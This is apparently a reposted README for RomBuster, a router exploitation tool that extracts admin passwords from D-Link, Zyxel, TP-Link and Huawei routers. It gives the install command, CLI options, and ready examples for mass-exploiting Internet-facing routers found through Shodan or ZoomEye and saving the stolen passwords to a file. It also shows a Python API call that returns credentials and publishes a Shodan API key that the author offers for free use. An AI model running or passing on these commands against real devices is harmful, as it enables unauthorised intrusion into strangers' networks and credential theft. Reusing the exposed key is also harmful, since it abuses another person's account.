RomBuster : A Router Exploitation Tool That Allows To Disclosure Network Router Admin Password

RomBuster is a router exploitation tool that allows to disclosure network router admin password.

Features

  • Exploits vulnerabilities in most popular routers such as D-Link, Zyxel, TP-Link and Huawei.
  • Optimized to exploit multiple routers at one time from list.
  • Simple CLI and API usage.

Installation

pip3 install git+https://github.com/EntySec/RomBuster

Basic Usage

To use RomBuster just type rombuster in your terminal.

usage: rombuster [-h] [-o OUTPUT] [-i INPUT] [-a ADDRESS] [–shodan SHODAN]
[–zoomeye ZOOMEYE] [-p PAGES]
RomBuster is a router exploitation tool that allows to disclosure network
router admin password.
optional arguments:
-h, –help show this help message and exit
-o OUTPUT, –output OUTPUT
Output result to file.
-i INPUT, –input INPUT
Input file of addresses.
-a ADDRESS, –address ADDRESS
Single address.
–shodan SHODAN Shodan API key for exploiting devices over Internet.
–zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet.
-p PAGES, –pages PAGES
Number of pages you want to get from ZoomEye.

Examples

Exploiting single router

Let’s hack my router just for fun.

rombuster -a 192.168.99.1

Exploiting routers from Internet

Let’s try to use Shodan search engine to exploit routers over Internet.

rombuster –shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

NOTE: Given Shodan API key (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) is my PRO API key, you can use this key or your own, be free to use all our resources for free.

Exploiting routers from input file

Let’s try to use opened database of routers.

rombuster -i routers.txt -o passwords.txt

NOTE: It will exploit all routers in routers.txt list by their addresses and save all obtained passwords to passwords.txt.

API Usage

RomBuster also has their own Python API that can be invoked by importing RomBuster to your code.

from rombuster import RomBuster

Basic Functions

There are all RomBuster basic functions that can be used to exploit specified router.

exploit(address) – Exploit single router by given address.

Examples

Exploiting single router

from rombuster import RomBuster
rombuster = RomBuster()
creds = rombuster.exploit(‘192.168.99.100’)
print(creds)

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